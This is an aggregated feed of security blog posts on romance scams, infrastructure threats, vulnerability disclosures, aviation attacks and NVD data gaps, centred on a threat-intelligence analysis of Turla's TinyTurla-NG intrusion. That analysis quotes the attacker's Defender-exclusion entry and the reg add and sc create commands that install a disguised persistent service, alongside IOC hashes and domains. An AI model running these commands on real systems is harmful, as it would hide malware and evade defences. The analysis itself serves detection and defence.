In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package.

Thursday, March 21, 2024 14:00

Whether you want to call them “catfishing,” “pig butchering” or just good ‘old-fashioned “social engineering,” romance scams have been around forever.  

I was first introduced to them through the MTV show “Catfish,” but recently they seem to be making headlines as the term “pig butchering” enters the public lexicon. John Oliver recently covered it on “Last Week Tonight,” which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, “Search Engine,” just covered it in an episode. 

The concept of “pig butchering” scams generally follows the same chain of events: 

*   An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an “Oops, wrong number!” text. 
*   When the target responds, the actor tries to strike up a conversation with a friendly demeanor. 
*   If the conversation persists, they usually evolve into “love bombing,” including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent. 
*   Sometimes, the relationship may turn romantic. 
*   The scammer eventually “butchers” the “pig” that has been “fattened up” to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow. 

There are a few twists and turns along the way based on the exact scammer, but that’s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new.  

The FBI seems to release a renewed warning about romance scams every Valentine’s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found a podcast from the FBI in 2015 in which they warned that scammers “promise love, romance, to entice their victims online,” estimating that romance-related scams cost consumers $82 million in the last half of 2014.  

The main difference that I can tell between “pig butchering” and past romance scams is the sheer scale. Many actors running these operations are relying on human trafficking and sometimes literal imprisonment, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less “successful” in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity. 

In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can’t operate in the shows. The founders who run them are brought to justice. 

It’s never a bad thing that users become more educated on these scams, because of that, but I also feel it’s important to remember that romance-related scams, and really any social engineering built on a personal “relationship,” has been around for years, and “pig butchering” is not something new that just started popping up. 

These types of scams are ones that our culture has kind of just accepted as part of daily life at this point (who doesn’t get surprised when they get a call about their “car’s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever. 

**The one big thing **

Talos has yet another round of research into the Turla APT, and now we’re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service. 

**Why do I care? **

Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that’s been around for years, so it’s always important for the entire security community to know what they’re up to. Most recently, Turla used these tactics to target Polish non-governmental organizations (NGOs) and steal sensitive data.  

**So now what? **

During Talos’ research into TinyTurla-NG, we’ve released several new rounds of detection content for Cisco Secure products. Read our past two blog posts on this actor for more.  

**Top security headlines of the week **

**The Biden administration issued a renewed warning to public water systems and operators this week,** saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and “impose significant costs on affected communities.” The letter also points to the U.S. Cyber and Infrastructure Security Agency’s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (Bloomberg, The Verge) 

**UnitedHealth says it's still recovering from a cyber attack that’s halted crucial payments to health care providers across the U.S.,** but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth’s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (ABC News, CNBC) 

**Nevada’s state court system is currently weighing a case that could undo end-to-end encryption across the U.S.** The state’s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta’s Messenger a “preferred method” for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them — including law enforcement agencies. (Tech Policy Press, Bloomberg Law) 

**Can’t get enough Talos? **

*   The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions 
*   Cisco Closes $28B Splunk Deal: 5 Big AI, Security And Partner Things To Know 
*   Talos Takes Ep. #176: Why no one should be relying on passive security in 2024 
*   Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word 
*   Netgear wireless router open to code execution after buffer overflow vulnerability 

**Upcoming events where you can find Talos **

**Botconf** **(April 23 - 26)** 

_Nice, Côte d'Azur, France_

> _This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants._

**CARO Workshop 2024** **(May 1 - 3)** 

_Arlington, Virginia_

> Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

**RSA** **(May 6 - 9)** 

_San Francisco, California_    

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647   
**MD5:** bbcf7a68f4164a9f5f5cb2d9f30d9790   
**Typical Filename:** bbcf7a68f4164a9f5f5cb2d9f30d9790.vir   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507    
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f    
**Typical Filename:** VID001.exe    
**Claimed Product:** N/A    
**Detection Name:** Win.Worm.Coinminer::1201 

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll |  
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   
**MD5:** ff1b6bb151cf9f671c929a4cbdb64d86   
**Typical Filename:** endpoint.query   
**Claimed Product:** Endpoint-Collector   
**Detection Name:** W32.File.MalParent 

**SHA 256:** e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3   
**MD5:** c16df0bfc6fda86dbfa8948a566d32c1   
**Typical Filename:** CEPlus.docm   
**Claimed Product:** N/A    
**Detection Name:** Doc.Downloader.Pwshell::mash.sr.sbx.vioc

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

The Russia-linked threat actor known as Turla infected several systems belonging to an unnamed European non-governmental organization (NGO) in order to deploy a backdoor called TinyTurla-NG.
"The attackers compromised the first system, established persistence and added exclusions to antivirus products running on these endpoints as part of their preliminary post-compromise actions," Cisco

Russia Hackers Using TinyTurla-NG to Breach European NGO's Systems

We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises.

Cisco Talos is providing an update on its two recent reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their TinyTurla-NG (TTNG) implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. 

*   Talos’ analysis, in coordination with CERT.NGO, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO). 

*   The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions. 

*   Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.

**Tracing Turla’s steps from compromise to exfiltration**

Talos discovered that post-compromise activity carried out by Turla in this intrusion isn’t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.

**Preliminary post-compromise activity and TinyTurla-NG deployment**

After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.

ACTION

INTENT

HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths | 

“C:\\Windows\\System32\\” = 0x0

\[T1562.001\] Impair Defenses: Disable or Modify Tools

Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system. 

ACTION

INTENT

reg add "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" /v sysman /t REG\_MULTI\_SZ /d "sdm" /f

reg add "HKLM\\SYSTEM\\CurrentControlSet\\services\\sdm\\Parameters" /v ServiceDll /t REG\_EXPAND\_SZ /d "%systemroot%\\system32\\dcmd.dll" /f

\[T1543.003\] Create or Modify System Process: Windows Service

sc create sdm binPath= "c:\\windows\\system32\\svchost.exe -k sysman" type= share start= auto

sc config sdm DisplayName= "System Device Manager"

sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."

  

\[T1543.003\] Create or Modify System Process: Windows Service

This technique is identical to that used by Turla in 2021 to achieve persistence for their TinyTurla implants. However, we’re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.

In the case of TTNG, the service is created with the name “sdm” masquerading as a “System Device Manager” service. 

Batch file contents.

The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost\[.\]exe (Windows’ service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.

**Custom Chisel usage**

On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box \[T1573.002 - Encrypted Channel: Asymmetric Cryptography\]. We’ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network. 

The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. WinRM is Microsoft’s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.

The overall infection chain is visualized below.

Turla tactics, tools and procedures flow.

Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.

Cyber kill chain.

Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.

While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration over using Chisel much later on Jan. 12, 2024 \[T1041 - Exfiltration Over C2 Channel\].

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCS****Hashes**

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b

d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40

ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc

13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346

b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044 

**Domains**

hanagram\[.\]jpthefinetreats\[.\]com

caduff-sa\[.\]chjeepcarlease\[.\]com

buy-new-car\[.\]com

carleasingguru\[.\]com

**IP Addresses**

91\[.\]193\[.\]18\[.\]120

New details on TinyTurla’s post-compromise activity reveal full kill chain

There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak.

Wednesday, March 20, 2024 12:00

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities across a range of products, including one that could lead to remote code execution in a popular Netgear wireless router designed for home networks. 

There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak. 

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

**Netgear RAX30 JSON parsing stack-based buffer overflow vulnerability **

_Discovered by Michael Gentile._ 

The Netgear RAX30 wireless router contains a stack-based buffer overflow vulnerability that could allow an attacker to execute arbitrary code on the device.  

An adversary could send a targeted device a specially crafted HTTP request to eventually cause a buffer overflow condition. 

The RAX30 is a dual-band Wi-Fi router that’s commonly used on home networks. In an advisory about TALOS-2023-1887 (CVE-2023-48725), Netgear stated that the vulnerability “requires an attacker to have your WiFi password or an Ethernet connection to a device on your network to be exploited.” 

**NVIDIA D3D10 driver out-of-bounds read vulnerability **

_Discovered by Piotr Bania._ 

TALOS-2023-1849 (CVE-2024-0071) is an out-of-bounds read vulnerability in the shader functionality of the NVIDIA D3D10 driver that runs on several NVIDIA graphics cards. Drivers like D3D10 are usually necessary for the GPU to function properly. 

An adversary could send a specially crafted executable or shader file to the targeted machine to trigger an out-of-bounds read and eventually leak memory.  

This vulnerability could be triggered from guest machines running virtual environments to perform a guest-to-host escape. Theoretically, it could be exploited from a web browser, but Talos tested this vulnerability from a Windows Hyper-V guest using the RemoteFX feature, leading to execution of the vulnerable code on the Hyper-V host. While RemoteFX is no longer actively maintained by Microsoft, some older machines may still use this software.  

An out-of-bounds read vulnerability exists in the Shader functionality of NVIDIA D3D10 Driver, Version 546.01, 31.0.15.4601. A specially crafted executable/shader file can lead to an out-of-bounds read. An attacker can provide a specially crafted shader file to trigger this vulnerability. 

An adversary could also use this vulnerability to leak host data to the guest machine. 

**Denial-of-service vulnerability in Google Chrome Video Encoder **

_Discovered by Piotr Bania._ 

A denial-of-service vulnerability in Google Chrome’s video encoder could crash the browser.  

TALOS-2023-1870 is triggered if the targeted user visits an attacker-created website that contains specific code.  

Talos’ sample exploit runs a JavaScript code related to the Chrome video encoding functionality, eventually causing a denial-of-service in the browser and stopping all processes in Chrome.

Netgear wireless router open to code execution after buffer overflow vulnerability

Research conducted by Cisco Talos last year uncovered multiple vulnerabilities rated as low severity despite their ability to allow for full arbitrary code execution.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

By Waqas
Cyber Warfare Takes Flight: Geopolitics Fuel Attacks on Airlines - Dark Web Tool Aims at E-commerce!
This is a post from HackRead.com Read the original post: Dark Web Tool Arms Ransomware Gangs: E-commerce & Aviation Industries Targeted

Cybersecurity researchers have published two concerning reports where the first report highlights the surge in cyber attacks against the aviation and aerospace industries – And the second report exposes a dark web tool called TMChecker fueling attacks against E-commerce platforms.

Recent cyber incidents targeting the aerospace and aviation sectors have raised concerns about the industry’s vulnerability to malicious attacks, according to a report by Resecurity. The report highlights the critical need for strong cybersecurity risk assessments to protect airports and aviation infrastructure.

The aerospace sector, including the design, manufacturing, and maintenance of aircraft and spacecraft, has become a prime target for cyberattacks due to its reliance on interconnected digital infrastructures and global supply chains.

The integration of Industrial Internet of Things (IIoT) technologies has further strengthened this threat, making aerospace organizations more vulnerable and susceptible to cyber attacks.

Credit: Resecurity

****Ransomware Attacks & The Aviation Industry****

Ransomware emerges as a top threat facing the aviation industry, with a 600% increase in occurrences reported by Boeing Chief Security Officer Richard Puckett at the 2023 Aviation Week MRO Americas Conference.

The European Organisation for the Safety of Air Navigation (Eurocontrol) also highlighted ransomware as the sector’s leading attack trend in 2022, accounting for 22% of all malicious incidents. Some of the examples highlighted in the report include the LockBit ransomware gang’s attack on Boeing in November 2023, which the aviation giant later confirmed.

****Geopolitical tensions & The Aviation Industry****

According to Resecurity’s blog post titled “The Aviation And Aerospace Sectors Face Skyrocketing Cyber Threats,” geopolitical tensions and the designation of aerospace and aviation as critical infrastructure by the U.S. government have fueled cyberattacks targeting the industry.

Threat actors, including hacktivist collectives, are increasingly targeting aviation organizations to advance political agendas or disrupt operations. One such example is the hacktivist group Anonymous Sudan which targeted FlyDubai, an Emirati government-owned airline in Dubai, United Arab Emirates in February 2024 citing the company’s alleged support to the Rapid Support Forces (RSF) in Sudan.

Other recent cyberattacks targeting the aerospace sector include Distributed Denial of Service (DDoS) attacks by groups such as Mysterious Team Bangladesh (MTB) against Saudi Arabian airports and ALTOUFAN TEAM against Gulf Air.

> In stand with our steadfast Palestinian people in Gaza Strip in their brave and honorable resistance,ALTOUFAN TEAM targets companies normalized with the Zionist entity , Bahrain International Airport and the Bahraini national carrier “Gulf Air” servers and website…… pic.twitter.com/OKOhR12M3S
> 
> — ALTOUFAN TEAM (@altoufanteam) November 22, 2023

Additional incidents involve ransomware attacks on airlines like Air Albania and Continental Aerospace Technologies, compromising critical data and disrupting operations.

**T**MChecker – Dark Web Tool Targeting Remote Access and E-Commerce Platforms****

In another report published on March 13, 2024, Resecurity detailed a new cybersecurity threat named TMChecker that has surfaced on the Dark Web, posing a notable risk to remote-access services and popular e-commerce applications.

Developed by an actor known as “M762” on the Russian language XSS cybercrime forum, TMChecker is a sophisticated tool that combines corporate access login (log) checking capabilities with a brute-force attack kit. Available for a monthly subscription fee of $200, TMChecker has garnered attention for its ability to target a wide range of VPN gateways, email servers, and e-commerce platforms.

Credit: Resecurity

TMChecker stands out from similar tools like ParanoidChecker due to its focus on corporate remote access gateways, which are often primary targets for ransomware attacks and other malicious activities. The tool supports 17 solutions, including Cisco VPN, Citrix VPN, Office 365, WordPress, Magento, and cPanel, among others, making it a versatile and powerful weapon.

Cybercriminals exploit TMChecker to identify compromised data containing valid credentials for corporate VPN and email accounts. In one observed incident, threat actors used TMChecker to target the email server of a government organization in Ecuador, demonstrating the tool’s real-world impact.

M762 operates a Telegram channel with over 3,270 subscribers, potentially indicating a sizable user base for TMChecker. The addition of such tools aligns with a concerning trend highlighted in recent Microsoft research, which noted a significant increase in human-operated ransomware attacks.

These attacks often involve the abuse of remote monitoring and management tools, leaving behind less evidence compared to automated attacks delivered through malicious documents.

As TMChecker and similar tools lower the barriers to obtaining remote access credentials, the risk of destructive ransomware attacks and other malicious campaigns amplifies. This threat is particularly acute in the context of mergers and acquisitions, where cybercriminals target vulnerable organizations to exploit for financial gain.

1.  Cl0p ransomware gang hits Aviation giant Bombardier
2.  Hackers Uncover Airbus EFB App Flaws, Risking Aircraft Data
3.  Israeli: Hackers Targeted EL AL Flights in Mid-Air Hijack Attempt
4.  Military Satellite Access Sold on Russian Hacker Forum for $15,000
5.  Hackers posing as LinkedIn recruiters to scam military, aerospace firms

Dark Web Tool Arms Ransomware Gangs: E-commerce & Aviation Industries Targeted

By Deeba Ahmed
40% of 2024 CVEs Missing Key Info: NVD Data Gap Raises Security Risks!
This is a post from HackRead.com Read the original post: NIST NVD Halt Leaves Thousands of Vulnerabilities Untagged

Alert! Missing NVD Data Leaves Businesses Vulnerable. Patching Delays Due to Disruption. Security Experts Urge Action.

A disruption at the National Institute of Standards and Technology (NIST) is causing problems for organizations that rely on its National Vulnerability Database (NVD). The NVD is a central repository for information about software vulnerabilities, serving as a critical resource for organizations to identify and address security weaknesses in their systems. 

Security policies mandate governments and commercial organizations to address vulnerabilities based on NVD-provided severity levels within specific days, making it the world’s most significant vulnerability database.

Therefore, it is concerning that NIST has stopped enriching software vulnerabilities in NVD since February 12, 2024. This significant drop in enrichment was first discovered by software security provider Anchore’s VP of Security, Josh Bressers, and subsequently noted by Cisco Threat Detection & Response’s principal engineer, Jerry Gamblin, Gamblin and NetRise.

The NVD announced on February 15th that it is working to establish a consortium to address challenges in the NVD program and develop “improved tools and methods.” This may cause temporary delays in analysis efforts, the NVD explained. However, security analysts opine that the NVD is lagging in fully reporting CVEs.

> _“NIST is currently working to establish a consortium to address challenges in the NVD program and develop improved tools and methods. You will temporarily see delays in analysis efforts during this transition. We apologize for the inconvenience and ask for your patience as we work to improve the NVD program.”_

Hackread.com captured a screenshot from the website, which has been displayed since February 14, 2024.

Screenshot: Hackread.com

As pointed out by a report referring to NetRise CEO Tom Pace, reported that only 200 out of 2700 Common Vulnerabilities and Exposures (CVEs) have been enriched. This means over 2500 vulnerabilities added to the database have been uploaded without crucial metadata information.

These include the description of the vulnerability and software ‘weakness’ potentially leading to an exploit (called Common Weakness and Exposure/CWE), the names of affected software products, the vulnerability’s criticality/CVSS score, and patching status. Bressers shared an updated graph showing few CVEs have been enriched in the past 30 days.

The issue is attributed to a decrease in CVEs enriched with crucial metadata, such as Common Product Enumerators (CPEs) and criticality scores (CVSS). The NVD has left thousands of CVEs untagged since mid-February, leaving around 40% of this year’s CVEs without vital information. This is concerning as CPE is the main way to match a CVE to a component and relies on many home-grown vulnerability solutions.

For your information, MITRE developed the CVE framework to identify known security flaws. CVE IDs are reported by CVE Numbering Authorities, which include 350 tech companies, security vendors, and researchers.

CVEs are tagged with other cybersecurity acronyms like Common Weakness Enumerators (CWEs), Common Vulnerability Scoring System (CVSS), and Common Platform Enumerator (CPE). CWEs describe coding flaws, CVSS scores describe CVE impact severity, and CPEs identify systems in danger.

This disruption poses a significant challenge to organizations that depend on the NVD for vulnerability management. Without access to this comprehensive data, organizations cannot efficiently identify vulnerable systems within their networks. This can lead to delayed patching or remediation efforts, potentially exposing these systems to exploitation by malicious actors.

The cybersecurity researchers are urging NIST to prioritize resolving this interruption and resume providing complete vulnerability data within the NVD. Transparency regarding the cause of this issue is also essential to ensure continued trust and collaboration within the cybersecurity community.

1.  Vulnerability Risk Management for External Assets
2.  ZombieBoy crypto malware exploits CVEs to evade detection
3.  NIST’s Cybersecurity Framework 2.0: Guide for All Organizations
4.  Flashpoint Uncovers 100K+ Hidden Vulnerabilities, Including 0-Days
5.  Ethical Hackers Reported 835 Vulnerabilities, Earned $450K in 2023

NIST NVD Halt Leaves Thousands of Vulnerabilities Untagged

There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!”

Thursday, March 14, 2024 14:00

Some of my Webex rooms recently have been blowing up with memes about blaming Canada or wild speculation that a state-sponsored actor is carrying out some sort of major campaign.  

After a widespread outage of cellular service with AT&T and other carriers a few weeks ago, people were sure it was some sort of coordinated attack to disrupt Americans’ services that largely power our day-to-day lives. The outage lasted about 11 hours, and after the fact, the company announced they’d give customers a whopping $5 credit to make up for the issue. The Federal Communications Commission also announced last week that it was launching a formal investigation into the outage, requesting more information about the exact cause and how many users were affected.  

About two weeks later, the same kinds of messages and questions to our team came flooding in when Meta experienced an outage across many of its platforms, most notably Facebook, Instagram and Threads. Though this only lasted a few hours, any time Americans can’t access their Instagram feeds, it’s going to make headlines. 

In both cases, consumers immediately wanted to start pointing fingers — Which actor was behind these? Why is there so little information about this outage? Is this China getting revenge for talk of forcing a TikTok sale? What’s the broader conspiracy behind this? The outages also quickly opened the door for some of the world’s chief spreaders of misinformation and fake news to start spreading conspiracy theories. 

The problem is, not every technical issue can or needs to be explained away by a cyber attack. That’s not to undersell the danger that state-sponsored APTs pose currently, or the fact that they \*could\* one day cause a disruption like this. But jumping to that conclusion every time Down Detector pops off is only going to spread fear/FUD and help these outlets for disinformation reach a larger audience.  

It creates a “boy who cried wolf” situation for when a major cyber attack actually does happen, and the average consumer is forced to make an immediate update to some piece of software or hardware. 

There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!” conclusion. One is that Hollywood has been “glamorizing” the idea of a major cyber attack or major disruption for years now. Movies and TV shows like Netflix’s “Leave the World Behind” have dramatized what a major cyber attack or internet outage may look like, and how quickly it could lead to the unraveling of civilization. Because of our current doomscrolling culture, the second something even looks like it could be a cyber event, we’re ready to declare the end of our economy and society. 

It’s also sexier when it’s a cyber attack. AT&T says its outage was caused by a technical error that occurred when it was trying to upgrade its network’s capacity, explicitly stating it was not caused by any sort of disruption campaign or cyber attack. Meta simply chalked their outage up to a “technical issue.”  

None of these things make for good headlines. But sometimes, the simplest explanation is the most obvious one — we’ve all pressed a wrong button here or there, and stuff breaks on the internet all the time for all sorts of reasons. But “Users logged out of Instagram after Meta employee hits ‘enter’ too soon” isn’t as eye-catching as “Are Instagram and Facebook down because of a cyber attack?” 

Could these multi-billion-dollar corporations be lying? Sure, but I also find it hard enough to believe that the truth would not have made it out to consumers by now if these outages weren’t simple technical issues, nor would AT&T feel compelled to reimburse customers for something that could be totally out of their control. 

And if you ever get logged out of Facebook or Instagram, maybe you’re just better off being offline for a few hours anyway than immediately assuming Mahershala Ali is going to be knocking on your vacation home’s door in any minute.   

**The one big thing **

We want to keep reminding users to update and upgrade their network infrastructure. Aging devices like switches and routers that are used across the globe are a consistently vulnerable surface for adversaries to gain an initial foothold onto targeted networks. Talos recently highlighted the three most common post-compromise attacks that adversaries carry out after compromising these types of vulnerable devices, including modifying the device’s firmware and downgrading the firmware to remove older patches and open the door to new exploitable vulnerabilities. Nick Biasini from Talos Outreach also spoke about this issue for an article in NetworkWorld.  

**Why do I care? **

As Hazel Burton puts it in the blog post linked above: “Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. Think of it like a burglar breaking into a house via the water pipes. They’re not using “traditional” methods such as breaking down doors or windows (the noisy smash-and-grab approach) — they’re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts.” 

**So now what? **

If you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.   

**Top security headlines of the week **

**Security researchers have found a new vulnerability affecting chips made by nearly all major CPU makers dubbed “GhostRace.”** The vulnerability, identified as CVE-2024-2193, requires an adversary to win a race condition and to have physical or privileged access to the targeted machine. However, it could allow a malicious user to steal potentially sensitive information from memory like passwords and encryption keys. "The vulnerability affects many CPU architectures, including those made by Intel, AMD, Arm and IBM. It also affected some hypervisor vendors and the Linux operating system. AMD released an advisory this week that informed customers that they should follow previous defense guidance for other security flaws like Spectre that have affected CPUs in the past. “Our analysis shows all the other common write-side synchronization primitives in the Linux kernel are ultimately implemented through a conditional branch and are therefore vulnerable to speculative race conditions,” VU Amsterdam said in its blog post disclosing GhostRace. (SecurityWeek, Vrije Universiteit Amsterdam) 

**Health care providers are still reeling from a cyber attack on Change Healthcare**, a subsidiary of the United HealthGroup Inc. insurance provider. First Health Advisory, a digital health risk assurance firm, recently estimated that health care providers are losing an estimated $100 million daily as they still cannot process payments from insurance providers. Change first disclosed the suspected ransomware attack in late February, and on March 5, the U.S. government announced a plan to provide relief payments for providers who are facing financial shortfalls due to the outage. Many doctors' offices and care clinics are facing late rent payments and unpaid invoices. The attack has also limited some patients’ ability to obtain pre-authorization for certain services and surgeries, and others have not been able to refill their prescriptions at hospitals. U.S. Congress is also asking the CEO of United HealthGroup to appear before a committee to answer questions about the hack. (CBS News, Bloomberg) 

**The U.S. has placed formal sanctions against two individuals and five entities associated with the Intellexa Consortium,** responsible for developing and distributing the Predator spyware. Talos has previously reported on Intellexa’s tools, and how their spyware is silently loaded onto targeted devices. This is the first time the Treasury Department has sanctioned a spyware organization and announced it publicly. The sanctions include five vendors who work with Intellexa to sell the spyware, all of whom are spread across Europe. Intellexa itself is based in Greece. Predator and other spyware developed by private parties are often used to target high-risk individuals to track their communication and movement, including politicians, journalists, activists and political dissidents. Under the sanctions, anyone in the U.S. is forbidden from doing business with Intellexa or the associated companies and individuals. The Biden administration has long pushed for additional action against spyware makers, including Israel-based NSO Group, which distributes the Pegasus spyware. (Voice of America, Axios) 

**Can’t get enough Talos? **

*   Threat actors leverage document publishing sites for ongoing credential and session token theft 
